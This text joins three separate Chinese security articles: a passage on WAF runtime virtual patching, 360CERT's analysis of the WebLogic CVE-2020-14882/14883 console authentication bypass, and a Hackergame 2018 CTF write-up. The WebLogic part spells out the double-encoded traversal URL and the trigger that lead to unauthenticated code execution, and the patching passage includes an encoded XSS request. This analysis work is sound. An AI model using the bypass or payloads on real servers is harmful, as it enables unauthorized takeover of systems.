{condition =“secret”⇒param∈{XSShtml-text}} ，其中XSShtml-text是TEXT上下文中用于XSS攻击的向量集合。在实际的应用场景中，WAF虚拟补丁的描述符可用于生成过滤规则，以阻止所有能够利用相关漏洞的HTTP请求。
虽然这种做法肯定会导致某些攻击，但它有一些很大的缺点：
为了表示任何给定的漏洞，SAST需要发现一个可能的攻击向量。
但为了确保能够真正消除一个漏洞，SAST有必要处理所有可能的攻击向量。但是SAST很难将这些信息传递给WAF，因为由于攻击向量语法的不规则性，矢量集不仅是无穷大的，甚至不能用正则表达式来表达。
对于漏洞利用所需的其他请求参数的值也是如此。
如果入侵点和脆弱执行点之间的攻击向量语法在其上下文中发生了变化，那么有关脆弱参数的信息将变得没有任何的价值。
由于这些设计上的缺陷，对于SAST检测到的漏洞，VP技术不能针对其提供可能的攻击保护。尝试创建这种“全面的”流量过滤规则通常会阻止合法HTTP请求并中断Web应用程序的操作，下面让我们稍微修改漏洞的代码：
与上一个例子的区别是：在对两个请求参数都做了Decode处理，针对该新代码的攻击向量公式如下所示：
（CustomDecode condition）⊃“secret”⇒param∈（CustomDecode {XSShtml-text}）
。静态分析会在相关计算流程图（ConfiG）节点中为自定义解码函数导出一个公式，以描述Base64-URL-Base64转换链，如下所示：
(FromBase64Str (UrlDecodeStr (FromBase64Str argument)))
。 针对这样的公式，我们仍然有可能在其基础上构建一个漏洞，但是由于以下原因，生成虚拟补丁的方法不能应用于此：
只有当请求中的“condition”参数包含“secret”子字符串时，才可能利用此漏洞。
然而，该参数的值集是非常大的，并且由于解码功能的不规则性，通过正则表达式表达该集合是不可行的。
事实上，攻击向量的请求参数也被解码。因此，SAST无法将该组危险元素描述为WAF。
由于传统VP的所有问题都源于无法与基于白盒方法的WAF级别的应用程序进行交互，因此明显的解决方案是实现此功能并进一步改进，以便：
SAST向WAF提供有关易受攻击的参数以及从进入点到易受攻击的执行点这整个过程中对攻击变量所做的所有转换信息。
对于攻击检测，启发式方法被公式方法所替换，并且包含任何漏洞的利用条件信息。
因此，运行时虚拟补丁应运而生。
**运行时虚拟补丁**
****
运行时虚拟修补（RVP）的原理是基于PT应用检查器（PT
AI）中的计算流程图模型实现的。与公式符号计算的语义表示类似，该模型是使用应用程序代码的抽象解释构建出来的，模型中的图节点包含了目标语言的生成公式，并且公式产生与相关执行点上的所有数据流相关联的所有合法值的集合，具体如下图所示：
上图中的这些流被称为执行点参数。 由于CompFG是可评估的，因此我们可以根据输入参数的值，在任何执行点上计算所有参数的值。
通常情况下，RVP分为部署（D）和运行（R）两个阶段，这俩个阶段分别对应于应用程序生命周期，具体如下图所示：
**部署阶段**
****
在部署新版本的应用程序之前，应用程序由PT AI分析，并且为那些易受攻击的执行点中的每个CompFG节点计算三个公式：
**获取脆弱执行点的条件**
**获取其所有参数值的条件**
**所有参数及其相应语法的值集**
上述中的所有公式集都将按照应用程序的入口点进行分组，入口点定义于分析器的数据库中，并和PT
AI支持的每个Web框架相关联。通过提取包含的漏洞信息以及从代码（基于S-expression语法的特殊语言编写的代码，编程语言使用不依赖于目标语言的形式来描述CompFG公式）中提取相关的公式列表形成一份报告，例如上述代码示例中描述脆弱点参数值的公式如下：
(+ (+ "Parameter value is `" (FromBase64Str (UrlDecodeStr (FromBase64Str (GetParameterData (param)))))) "`")
获取脆弱点的公式是：
（Contains（FromBase64Str（UrlDecodeStr（FromBase64Str（GetParameterData（condition）））））“secret”）
。 然后将报告被上传到PT应用防火墙 （PT AF），在报告的基础上，PT WAF生成二进制模块，该模块可以计算报表中包含的所有公式。
例如，用于计算达到上述脆弱点的条件的反编译代码如下：
为了对公式进行计算操作，PT AF必须具有以下条件之一：
预先计算可能在报告中出现的所有函数
具有沙箱运行环境，用于运行Web应用程序或其他平台（如CLR，JVM或PHP，Python或Ruby解释器）以及应用程序中使用的库
第一种方法在一定程度上能够保证速度很快，但WAF开发人员需要大量的手动工作来描述预计算数据库，即使开发人员将范围限制为标准库函数。第二种方法允许计算报告中可能出现的所有函数，但这种方法会增加处理每个HTTP请求所需的时间，因为WAF需要访问运行时环境来对每个函数执行计算操作。这里最合适的解决方案是使用第一种方法进行最常见函数的计算，而对其余函数使用第二种方法。
公式中很可能会包含分析器无法处理的函数或者PT AF无法计算的函数，这些函数在公式中会被标记为“unknown”，并以如下所述的特殊方式进行处理。
**运行阶段**
****
在运行阶段，WAF将每个HTTP请求的处理委托给二进制模块，该模块分析请求并检测Web应用程序中的相关入口点。为此，WAF会选择所有检测到的漏洞公式，然后以特定方式执行计算操作。
首先，计算公式的两个条件为：1）到达脆弱点，2）获取其所有参数的值。 在每个公式中，变量用相关请求参数的值代替，之后计算公式值。
如果公式包含标记为“unknown”的表达式，则其处理如下：
每个“unknown”标志通过公式表达式树自下而上扩展，直到找到布尔表达式。
在公式中，这样的表达式会被布尔变量替换，以用来解决布尔可满足性问题。
假设通过上一步骤生成了关于“unknown”的n个公式，那么计算每个公式的值。 如果至少有一个公式是可满足的，那么该假设也被认为是可以满足的。
如果计算显示假设为假，那么即使所有请求参数都有危险的值，HTTP请求也无法将应用程序引导到易受攻击的点。在这种情况下，RVP只需向WAF的核心模块返回请求处理即可。如果攻击条件满足，那么WAF会计算脆弱点的参数值，使用的算法取决于分析点所属的漏洞等级。这些算法之间的相似之处是用于处理包含未知节点公式的逻辑：与假设公式不同，在计算时参数公式不会被计算，而是立即被传达给WAF。为了更好地理解这一点，我们现在将回顾一下用于检测注入攻击的最复杂的算法。
**检测注入攻击**
****
注入攻击通过将特定形成的输入数据传递给应用程序来执行恶意操作，当这些数据被“注入”到目标文本中（包括HTML, XML, JavaScript, SQL,
URLs,
以及文件路径）时，文本中包含了应用程序逻辑不想要的句法结构。如果一个脆弱点属于这个攻击类，那么它的参数值是可以通过使用污点分析语义中抽象解释的增量计算来确定的。这种方法背后的思想是：从下到上分别计算每个表达式，同时获得每个步骤的计算结果、每个函数的语义以及传统污点检查的规则。例如，对于上述代码和以下HTTP请求参数：
condition=YzJWamNtVjA%3d¶m=UEhOamNtbHdkRDVoYkdWeWRDZ3hLVHd2YzJOeWFYQjBQZyUzRCUzRA%3d%3d
，将此算法应用于弱点参数的公式的结果如下（污染参数标记为红色）：
然后根据脆弱点参数的语法对该值进行标记，如果任何污点的片段匹配多个令牌，那么就代表这是一次注入的攻击。
一旦与当前入口点相关的所有漏洞的公式计算结束，请求处理将与检测结果一起传递给WAF的核心模块。
**RVP优点和具体功能**
****
与传统VP相比，这种基于代码分析的应用程序保护方法具有很大的优势：
得益于上述公式方法以及所有中间转换的能力，传统VP的缺点得到了解决。
公式方法也完全排除了假阳性的可能性，只要公式不包含未知节点
对Web应用程序功能没有不利影响，因为保护是建立在应用程序的功能上，而不是简单地试图解决它们。
为了测试该技术并确认其有效性，我们开发了一种用于PT应用程序检查器和PT应用程序防火墙的模块原型，实验结果表明大约十五个开源内容管理系统（CMS）的性能测试显示出很好的结果：使用RVP处理HTTP请求所需的时间与使用传统（启发式）WAF方法处理此类请求所需的时间相当。
Web应用程序的平均性能如下：
对于那些非攻击的请求占比为0％
对于那些非攻击请求，但会导致脆弱点的占比为6-10％
对于那些是攻击请求的，且会导致脆弱点的占比为4-7％
尽管与传统VP相比有明显优势，但RVP仍有几个概念上的缺点：
不可能在WAF（包括文件资源，数据库和服务器环境）上计算包含来自外部源的数据公式。
公式的质量直接取决于分析期间代码片段的质量（包括循环，递归和对外部库方法的调用）。
为了描述预计算数据库中函数的语义，需要开发人员加入到其中，该描述过程很难自动化，且容易出现人为错误。
然而，我们已经设法通过将一些RVP功能从应用程序中删除并使用RASP技术来缓解上述这些缺陷，该部分内容我们将会在新的文章中进行阐述，尽请期待吧~ | 社区文章 |
# CVE-2020-14882：Weblogic Console 权限绕过深入解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Hu3sky@360CERT
## 0x01 漏洞简述
2020年10月29日，360CERT监测发现 `Weblogic ConSole HTTP 协议代码执行漏洞` 相关 `POC`已经公开，相关漏洞编号为
`CVE-2020-14882,CVE-2020-14883` ，漏洞等级：`严重`，漏洞评分：`9.8`。
远程攻击者可以构造特殊的`HTTP`请求，在未经身份验证的情况下接管 `WebLogic Server Console` ，并执行任意代码。
对此，360CERT建议广大用户及时将 `Weblogic` 升级到最新版本。与此同时，请做好资产自查以及预防工作，以免遭受黑客攻击。
## 0x02 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级
---|---
威胁等级 | 严重
影响面 | 广泛
360CERT评分 | 9.8
## 0x03 影响版本
`Oracle:Weblogic`:
* 10.3.6.0.0
* 12.1.3.0.0
* 12.2.1.3.0
* 12.2.1.4.0
* 14.1.1.0.0
## 0x04 漏洞详情
目前网上的分析都没有说清楚权限绕过具体是怎么访问到`console.portal`路径并且触发`handle`执行的，在与`@Lucifaer`的共同深入研究下，大概掌握了原理，于是有了此文。
`CVE-2020-14883` 是一个 `Console` 的未授权访问，而 `CVE-2020-14883` 是在利用未授权访问的前提下，在
`Console` 进行代码执行，于是远程攻击者可以构造特殊的 `HTTP` 请求，在未经身份验证的情况下接管 `WebLogic Server
Console` ，并在 `WebLogic Server Console` 执行任意代码。
通过`diff`补丁，`console.jar` 里主要修改有两个类，能够定位到漏洞触发点。
CVE-2020-14883: `com.bea.console.utils.MBeanUtilsInitSingleFileServlet`
CVE-2020-14882: `com.bea.console.handles.HandleFactory`
下面对漏洞进行逐个分析。
### CVE-2020-14882
首先要明白，漏洞的触发是在 `console`
组件，而`console`对应着`webapp`服务，路径：`wlserver/server/lib/consoleapp/webapp`。并且存在`web.xml`，于是查看与`MBeanUtilsInitSingleFileServlet`相关的`web.xml`信息：
<servlet>
<servlet-name>AppManagerServlet</servlet-name>
<servlet-class>weblogic.servlet.AsyncInitServlet</servlet-class>
<init-param>
<param-name>weblogic.servlet.AsyncInitServlet.servlet-class-name</param-name>
<param-value>com.bea.console.utils.MBeanUtilsInitSingleFileServlet</param-value>
</init-param>
...
<servlet-mapping>
<servlet-name>AppManagerServlet</servlet-name>
<url-pattern>*.portal</url-pattern>
</servlet-mapping>
#### Request处理
从上面的 `web.xml` 内容中可以得出：
1. `MBeanUtilsInitSingleFileServlet`是`AppManagerServlet`的`servlet-class-name`初始化的值。
2. 访问`*.portal`会经过`AppManagerServlet`的分派处理（通过认证后访问`console`的路径是`/console/console.portal`）。 `weblogic`所有的请求都会经过`weblogic.servlet.internal.ServletRequestImpl`的预处理。跟到`doSecuredExecute`方法。
这里会调用`WebAppSecurity#checkAccess`进行权限的校验。
第一次请求的时候`checkAllResources`为`false`，于是调用`getConstraint`方法。
传入参数为请求的`/console`下的资源的路径和请求的方法。这里以请求`/console.portal`为例。
#### 静态资源列表获取
看下前面的逻辑：
1. 获取一个`mapping`如下
2. 以当前请求方法作为`key`值匹配`value`，而第一行获取到的`map`的`key`是`""`，所以匹配结果为`null`。
3. 判断当前请求的`url`是否匹配`mapping`里的路径，如果匹配不到，那么返回默认的`rcForAllMethods`（ **注意`unrestricted`为`false`，`unrestricted`是权限验证的一个关键点**），也就是：
现在的结果就是`rcForAllMethods`为默认值，而`rcForOneMethod`为`null`。所以返回`rcForAllMethods`。
执行到这里可以得出的是，如果请求的路径在`matchMap`列表里，那么`unrestricted`值就为`true`，这些是属于静态资源，没有做资源的限制和身份校验。
接着做`if`判断，`resourceConstraint`不为`null`。
接着进入`else`，调用`SecurityModule#isAuthorized`。
继续调用`ChainedSecurityModule#checkAccess`。
#### 权限校验
然后调用`hasPermission`开始判断是否有权限。
在`hasPermission`方法首先判断`unrestricted`，这里我们通过修改请求`/console/css/console.protal`访问静态资源使值为`true`。
然后 `checkAcess`方法返回 `true`。
#### 重定向登陆界面
如果`checkAcess`方法返回`false`。那么不会进入后续的分派，会结束`doSecuredExecute`方法的执行。一路`return`到执行`ServletRequestImpl#runInternal`的`finally`分支。
这里会调用`send`方法，在该方法会将没有分派的请求重定向到`login`界面。
#### 请求分派
如果`checkAcess`方法返回`true`。进入后续请求的分派，经过几个`filterchain`的分派，最终调用`ServletStubImpl`的`excute`方法。这里会根据`web.xml`的配置来获取对应的具体的`Servlet`。
注意，根据`web.xml`，请求如下路径所对应的`servlet`不一样，因为几个路径都是之前所提到的静态路径，没有身份验证，但是我们需要利用到`AsyncInitServlet`来处理，因为我们diff到的修补点在`MBeanUtilsInitSingleFileServlet`，这个类是通过`AsyncInitServlet`来设置的。
`servlet`对应关系部分如下：
/framework/skeletons/wlsconsole/js/* -> FileDefault
/css/* -> AsyncInitServlet
/images/* -> AsyncInitServlet
/common/* -> JSPCServlet
...
于是，请求`/css/*`会调用`AsyncInitServlet`的`service`方法，
这里的`delegate`就是在`web.xml`被初始化的`MBeanUtilsInitSingleFileServlet`。
接下来以漏洞`URL`为例。
/css/%252E%252E%252Fconsole.portal
**这里要二次编码的原因是，发过去的时候http会解一次码，也就是说如果我们传的是`/css/%2E%2E%2Fconsole.portal`，那么解码后就是`/css/../console.portal`，这样发到服务端就没办法匹配到静态资源了，直接处理成了`/console.portal`。**
如果`http`解码后的`url`里没有`;`，那么就会继续调用`super.service`，而官方的补丁修复也是在这，通过一个黑名单列表检测路径里的非法字符，不过官方给出的黑名单字符不够完善，能够被绕过。
一路到达`UIServlet#service`，根据请求`method`调用不同的方法，`doGet`最终也会调用到`doPost`。
#### url解码
在`doPost`里调用`createUIContext`。
UIContext会根据请求中的参数作对应属性值的设置，比如后面会说到的`_nfpb`。
创建完之后，会返回一个`UIContext`对象。 这里的`tree`也就是`createUIContext`传入的第三个参数，初始值为`null`。
跟入`UIServletInternal#getTree`，这里会对`requestPattern`解码。
解码后。
#### 请求portal文件，构建控件树
将解码后的`url`传入`processStream`方法。
然后`SingleFileProcessor#getMergedControlFromFile`。
**关于`.portal`的加载方式`singleFile`：简单来说，在访问`.portal`时，是从文件系统加载的而不是数据库中，解析`.portal`文件的`XML`，并将呈现的`.portal`返回到浏览器。**
将请求路径同时当作`file`路径传入，接着创建了`SAXParser`，准备将文件解析。
接着调用下方`getControlFactoryFromFile`，一直跟进，会从本地获取请求的文件.
**在这里目录穿越起了效果** ，获取到的文件也就是`webapp`下的`console.portal`。
并且以`WarSource`对象存入缓存
之后调用`sax`解析`xml`文件`console.portal`，并从中生成控制树，也就是`getTree`返回的`ControlTreeRoot`对象，然后存入`UIContext`。
#### 树的生命周期
控件树被构建后，就会进入生命周期的运行，回到`UIServlet#doPost`，调用`runLifecycle`，运行生命周期。
这里会根据`UIContext`里的两个值来判断执行`runInbound`还是`runOutbound`，后面细说
生命周期可以看作是控件上的一组方法，这些方法按定义的顺序调用。生命周期方法如下
init()
loadState()
handlePostbackData()
raiseChangeEvents()
preRender()
saveState()
render()
dispose()
控件的具体解析流程如下
对应了调用栈里的调用，从ROOT开始，第一个子节点是`Desktop`，而接下来:
然后，深度优先遍历子节点。
当然，这个顺序也就是`console.portal`文件里的`xml`嵌套顺序。
因为是深度优先，在`console.portal`里的所有引用的`portal`文件也会按顺序解析，比如
直到所有标签解析完。
### CVE-2020-14883
接下来也就是造成代码执行的点，`com.bea.console.handles.HandleFactory` 要触发`getHandle`方法有两个触发点
#### 触发点一
回到之前创建`UIContext`的时候，有一个`setServletRequest`方法。
如果请求中存在`_nfpb=true`的时候，会把`postback`选项设置为`true`。
那么，之后在运行树的生命周期时，由于`outbound`选项默认`false`，而`postback`为`true`进入判断。
会调用`runInbound`方法，因为`runInbound`会把`types`设置为`_inboundLifecycle`。
`_inboundLifecycle`如下，注意不同的type对应了不同的静态类
当然，如果没有`_nfpb=true`，会调用`runOutbound`，`type`设置为`_outboundNewLifecycle`。
这决定了在深度遍历的时候先调用的方法，上面说过生命周期方法，于是这里就会先调用所有节点的`init`方法。因为在运行生命周期的时候，这里会调用`ControlTreeWalker#walk`方法，第一个参数，也就是`type[0]`，是`init`。
继续跟入`walkRecursive`方法
注意两处：
1. 如果当前是`Root`节点，那么调用`visitRoot`，这个方法只会调用一次，如果不是，则调用当前`visit`的`visit`方法，当前`visit`也就是`type`里提到的静态类。`init`是`ControlLifecycle$1`，也就是第一个静态类，而这里的control就是当前节点。也就是说，如果当前`type`是`init`，深度解析所有节点的时候，都会把`init`方法调用一次。也就有了漏洞触发点`Portlet#init`。
2. 调用完之后，如果深度遍历发现还有子节点，那么继续调用`walkRecursive`，重复`1`的步骤，直到所有节点解析完。
当调用到`Portlet`节点的`init`方法时，会一直调用`super.init`。
调用栈：
直到`AdministeredBackableControl#init`，会调用`initializeBackingFile`
最终会调用到`BreadcrumbBacking#init`，而这里会获取请求中的`handle`参数，调用`getHandle`方法。
#### 触发点二
在调用完`init`之后，会根据`type`里的顺序，继续调用生命周期方法（都对应着`ControlLifecycle`里的`visitor`）。
如果是`_nfpb=true`，调用完`runInbound`->`runOutbound`
由于`postback`为`true`。
之后流程类似，不过调用的`visitor`最开始是`ControlLifecycle#preRenderVisitor`
在调用到`StrutsContet`节点的时候，这个是在解析到引用`PortalConfig/contentheader/ContentHeader_messages.portlet`的时候。
这时候会调用`preRenderVisitor#preRender`，`preRenderVisitor`没有该方法，去父类`NetuiContent#preRender`。
并且在文件里会设置`action/refreshAction`为`MessagesAction`。
后续调用栈：
当然，不止`StrutsContet`节点会调用到这里，还有`Book`,`Portlet`节点，而在深度遍历的时候，会有很多`Book`,`Portlet`,`StrutsContet`的子节点，于是就会执行`getHandle`很多次，这也是为什么在使用计算器进行poc测试的时候，会多次弹出的原因。
最终的利用结果如下：
### 总结
1. 通过静态资源来绕过权限验证，防止被重定向到登陆界面。
2. 通过请求`.portal`，控制处理的`Servlet`是渲染`UI`的`MBeanUtilsInitSingleFileServlet`。
3. 通过编码后的`../`，让最终渲染的模版是`console.portal`。
综合起来，才造成了最终的未授权访问。
## 0x05 时间线
**2020-10-21** 360CERT发布Oracle补丁日通告
**2020-10-28** 360CERT监测到POC公开
**2020-10-29** 360CERT发布通告
**2020-11-05** 360CERT发布分析
## 0x06 参考链接
1. [White Paper: WebLogic Portal Framework](https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html)
2. [CVE-2020-14882/14883: Weblogic ConSole HTTP 协议代码执行漏洞POC公开通告](https://cert.360.cn/warning/detail?id=1809357283e3a9bb3af3d8b9cbea70d2) | 社区文章 |
# 签到题
题目非常基础，chrome浏览器，F12打开控制台，将页面源码中的 maxlength 改为14即可完整输入hackergame2018，提交得到flag
# 猫咪问答
这道题前四个空都是可以Google出来的，第五个空因为无法查到具体教室，所以需要burpsuite进行爆破。
爆破的时候，找到了中科大官网上的查询教室网站[教室网站链接](http://mis.teach.ustc.edu.cn/initkxjscx.do)
然后最终发现是西区三教的教室。
最终得到教室编号3A202，得到flag
# 游园会的集章卡片
本题比较简单，下载题目压缩包，然后按照中科大给的标识，将图片拼起来即可(滑稽脸)
# Word文档
本题为Misc基础题，直接winhex打开下载下来的word文档，查看文件的开头和结尾格式，发现是zip文件开头(50 4B 03 04)
然后解压文件，发现flag.txt，打开之后即为flag
# 猫咪银行
本题目感觉是非预期解
按照正常的格式输入的话，肯定无法在规定的时间内得到足够的钱。于是测试大数溢出。
发现预计收益变成了负数，说明大数字可能是后台的算法出现溢出，当存入时间输入为555555555555555555(可为别的数字，这里只是我随机选取的)，发现取出时间变为负数，预计收益变得特别大，然后立即取出，兑换flag即可。
flag兑换
# 黑曜石浏览器
本题有点坑，刚开始以为真的要用黑曜石浏览器打开网站，但是黑曜石浏览器下载不好，刚开始以为要绕过，后来发现自己想多了。
Google搜索到黑曜石浏览器，然后发现不能注册。
然后想到的是burpsuite修改浏览器标识，但是不知道具体的版本号，最终在黑曜石官网[所谓官网](https://heicore.com/index.php)查看源码，找到了版本号。
源码地址
然后burp suite抓包改包(User-Agent部分)，得到flag
# 回到过去
本题是一个Misc题目，没有难度，考了linux下的ed编辑器，本人之前也没用过，上网查找[ed使用说明](https://blog.csdn.net/sure952/article/details/1655607)
linux系统输入之后，写入文件即可得到flag。
# 我是谁
## 哲学思考
这个题感觉脑洞比较大，之前卡了半天，然后朋友才告诉我，要看状态码……
然后输入 taepot ，得到flag
## Can I help U?
题目提示要换种方法请求页面，先burpsuite抓包，然后将本来的GET方法改为POST方法
然后页面提示要看一个RFC-7168的东西，然后搜索找到它。<https://www.rfc-editor.org/rfc/rfc7168.txt>
根据文档提示，应该是将POST方法改为BREW方法(虽然我开始也不知道是啥方法)，然后添加Content-Type: message/coffeepot
根据返回包提示，应该把coffeepot改为teapot，再GO一下
发现返回包给了地址，然后将地址改为返回包的地址，GO一下，得到flag。
# 猫咪遥控器
本题为Misc方向题目，查看题目给的文档，里面只出现了四个字母，U D L R
应该是表示方向所以本题应该是作图。然后就用到了python的matplotlib库和numpy库。将题目给的文档作图，得到flag
python代码(py2.7)
#!/usr/bin/env python2
# -*- coding: UTF-8 -*- import numpy as np
import matplotlib.pyplot as plt
xxx="DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDDDDDLLLLLLLLLLLLLLLLLLDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUULLLLLLLLLLLLRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRLLLLLLLLLLLLLLLLLLLLLLLLRRRRDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUUDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUULLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRRRRRRLLLLDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLLLLLLLLLLLLLLLLUUUUUUUUUUUUUUUURRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUULLLLLLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRRRRRRRRRRLLLLDDDDDDDDRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUUUUUUUUUULLLLLLLLLLLLLLLLLLLLDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUURRRRRRRRRRRRRRRRRRRRRRRRLLLLDDDDDDDDDDDDLLLLLLLLLLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRRRRRRRRRRRRRRLLLLUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUURRRRRRRRLLLLLLLLDDDDDDDDDDDDDDDDDDDDDDDDLLLLLLLLDDDDRRRRRRRRDDDDDDDDDDDDDDDDDDDDDDDDRRRRRRRRLLLLLLLLUUUUUUUUUUUUUUUUUUUUUUUULLLLLLLLUUUURRRRRRRRUUUURRRRRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUURRRRDDDDRRRRDDDDRRRRDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUURRRRRRRRUUUUUUUURRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRRRRRRRUUUURRRRUUUURRRRRRRRRRRRRRRRDDDDRRRRDDDDRRRRDDDDDDDDLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLUUUURRRRUUUUDDDDLLLLDDDDDDDDRRRRDDDDRRRRDDDDRRRRRRRRRRRRUUUURRRRRRRRUUUUDDDDLLLLLLLLDDDDLLLLLLLLLLLLUUUULLLLUUUULLLLUUUUUUUURRRRUUUURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUUUUUULLLLLLLLLLLLLLLLLLLLLLLLLLLLDDDDDDDDDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUURRRRRRRRUUUULLLLUUUUDDDDRRRRDDDDRRRRDDDDDDDDDDDDDDDDDDDDRRRRUUUUUUUUUUUURRRRUUUUUUUUDDDDDDDDRRRRDDDDDDDDDDDDRRRRUUUUUUUUUUUUUUUUUUUURRRRUUUURRRRUUUUDDDDLLLLDDDDRRRRRRRRRRRRUUUUUUUUUUUUUUUUDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUURRRRDDDDRRRRDDDDRRRRDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUURRRRUUUURRRRUUUURRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUDDDDUUUURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRLLLLLLLLLLLLLLLLUUUULLLLUUUULLLLLLLLDDDDLLLLDDDDLLLLDDDDDDDDDDDDRRRRDDDDRRRRDDDDRRRRRRRRUUUURRRRRRRRUUUUDDDDLLLLLLLLDDDDLLLLLLLLUUUULLLLUUUULLLLUUUUUUUURRRRRRRRRRRRRRRRRRRRRRRRUUUULLLLUUUUDDDDRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUULLLLLLLLLLLLLLLLLLLLDDDDDDDDUUUUUUUURRRRRRRRRRRRRRRRRRRRDDDDRRRRRRRRRRRRUUUULLLLUUUUDDDDRRRRDDDDRRRRDDDDDDDDDDDDDDDDDDDDRRRRUUUUUUUUUUUUUUUURRRRUUUUUUUUDDDDDDDDRRRRDDDDDDDDDDDDDDDDRRRRRRRRUUUUUUUUUUUUUUUURRRRUUUUUUUURRRRUUUUDDDDLLLLDDDDRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUULLLLLLLLRRRRRRRRDDDDDDDDDDDDDDDDDDDDRRRRRRRRDDDDLLLLLLLLDDDDDDDDDDDDDDDDDDDDLLLLLLLL"
# print xxx.__len__()
xxxx=0
yyyy=0
for i in range(2813):
if xxx[i]=='D':
x=np.linspace(xxxx,xxxx,100)
yyyy=yyyy-1
y=np.linspace(yyyy,yyyy+1,100)
print y
plt.plot(x,y)
continue
if xxx[i]=='U':
x = np.linspace(xxxx, xxxx, 100)
yyyy = yyyy + 1
y = np.linspace(yyyy-1, yyyy, 100)
plt.plot(x, y)
continue
if xxx[i]=='R':
y=np.linspace(yyyy,yyyy,100)
xxxx=xxxx+1
x=np.linspace(xxxx-1,xxxx,100)
plt.plot(x,y)
continue
if xxx[i]=='L':
y = np.linspace(yyyy, yyyy, 100)
xxxx = xxxx - 1
x = np.linspace(xxxx, xxxx+1, 100)
plt.plot(x, y)
continue
plt.show()
# 她的诗
原题关键代码为
for i in fin:
data = "begin 666 <data>\n" + i + " \nend\n"
decode_data = decode(data.encode("ascii"), "uu")
print(decode_data)
fout.write(decode_data.decode("ascii") + "\n")
但是根据官方给出的代码，只能解出一首诗
所以我们需要自己解析官方给的文档,google搜索begin
666，发现这是UUencode编码，找到[uuencode解码网站](http://web.chacuo.net/charsetuuencode)，解码。
发现解码出来的东西和用官方python代码解出的东西有一些不同，然后上python代码，调用difflib库
解得flag
python代码(py2.7)
# coding:utf-8
import re
import string
import difflib
flag=""
a='''
--------- There is something in this world
that no one has ever seen before.
It is gentle and sweet.
Maybe if it could be seen,
everyone would fight over it.
That is why the world hid it,
so that no one could get their hands
on it so easily.
However, someday, someone will find it.
The person who deserves it the most
will definitely find it.
--------- Do you like this school?
I really, really love it.
But nothing can stay unchanged.
Fun things... Happy things...
They can't all possibly stay unchanged.
Even so,
can you go on loving this place?
--------- Sometimes I wonder,
what if this town was alive?
What if it had thoughts and feelings
like one of us?
If it did,
I think it would want to make the people
who live here happy.
--------- Expectations are what you have
when you have given up.
Expectations are born from
a despairingly large difference in skill.
--------- A joke only lasts for a moment,
if it leaves a misunderstanding,
it becomes a lie.
--------- If someone didn't have any pride,
wouldn't they also be lacking
in self-confidence?
If someone was free of greed,
wouldn't they have trouble
supporting their family?
And if people didn't envy one another,
wouldn't they stop inventing new things?
--------- If I don't have to do it, I won't.
If I have to do it, I'll make it.
--------- /* Here is the end of my poem.
'''
a=a.replace("\n","")
b="---------There is something in this worldfthat no one has ever seen before.It is gentle and sweet.lMaybe if it could be seen,aeveryone would fight over it.gThat is why the world hid it,{so that no one could get their handson it so easily.STHowever, someday, someone will find it.The person who deserves it the mostewill definitely find it.---------Do you like this school?I really, really love it.gABut nothing can stay unchanged.n0Fun things... Happy things...gThey can't all possibly stay unchanged.Even so,rcan you go on loving this place?A---------Sometimes I wonder,Phwhat if this town was alive?y_What if it had thoughts and feelingslike one of us?If it did,w1I think it would want to make the peopletHwho live here happy._---------Expectations are what you havewhen you have given up.uExpectations are born fromUa despairingly large difference in skill.e---------A joke only lasts for a moment,Ncif it leaves a misunderstanding,0it becomes a lie.D---------If someone didn't have any pride,wouldn't they also be lackingEin self-confidence?_IIf someone was free of greed,5wouldn't they have trouble_supporting their family?And if people didn't envy one another,5wouldn't they stop inventing new things?0_---------If I don't have to do it, I won't.fuIf I have to do it, I'll make it.---------/* Here is the end of my poem."
d = difflib.Differ()
diff = list(d.compare(a,b))
for line in diff:
if line[0]=='+':
flag+=line
flag=flag.replace("+","").replace(" ","")
print flag
# 猫咪克星
